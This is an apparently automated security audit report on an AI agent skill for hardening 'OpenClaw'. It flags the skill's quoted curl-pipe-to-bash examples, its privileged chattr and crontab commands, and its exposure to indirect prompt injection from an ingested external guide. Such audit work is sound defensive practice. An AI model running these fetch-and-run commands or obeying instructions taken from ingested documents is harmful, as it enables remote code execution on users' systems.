openclaw-security-hardening

Fail

Audited by Gen Agent Trust Hub on May 16, 2026

Risk Level: HIGHCOMMAND_EXECUTIONEXTERNAL_DOWNLOADSREMOTE_CODE_EXECUTIONPROMPT_INJECTION
Full Analysis
  • [REMOTE_CODE_EXECUTION]: The skill documentation includes examples of dangerous remote code execution patterns, specifically curl https://unknown-domain.com/script.sh | bash and curl http://example.com/setup.sh | bash. These are documented as 'Yellow Line' examples that the agent's defense mechanism should detect and flag for review, rather than instructions for the agent to execute unconditionally.
  • [COMMAND_EXECUTION]: The skill requires the agent to execute several high-privilege system commands to implement hardening, including:
  • chattr +i: Used to make critical configuration files and the hash baseline immutable.
  • crontab: Used to install a persistent nightly security audit script.
  • md5sum: Used to generate and verify file integrity baselines.
  • git: Used for disaster recovery and repository management.
  • [EXTERNAL_DOWNLOADS]: The skill clones the security guide from the SlowMist official GitHub repository (https://github.com/slowmist/openclaw-security-practice-guide.git). SlowMist is a recognized security firm, and this download is central to the skill's purpose.
  • [PROMPT_INJECTION]: The skill is susceptible to indirect prompt injection as it ingests and processes content from an external repository (the security guide) to define its behavior and safety rules.
  • Ingestion points: Reads instructions from docs/OpenClaw-Security-Practice-Guide-v2.8.md inside the cloned repository.
  • Boundary markers: None; the agent is instructed to 'assimilate' the guide directly into its context.
  • Capability inventory: The skill possesses significant capabilities including file system modification (chattr, cat), persistence via crontab, and network access via git and curl (referenced in examples).
  • Sanitization: None; the skill relies on the integrity of the external documentation source.
Recommendations
  • HIGH: Downloads and executes remote code from: http://example.com/setup.sh, https://unknown-domain.com/script.sh - DO NOT USE without thorough review
Audit Metadata
Risk Level
HIGH
Analyzed
May 16, 2026, 02:32 PM
Security Audit — agent-trust-hub — openclaw-security-hardening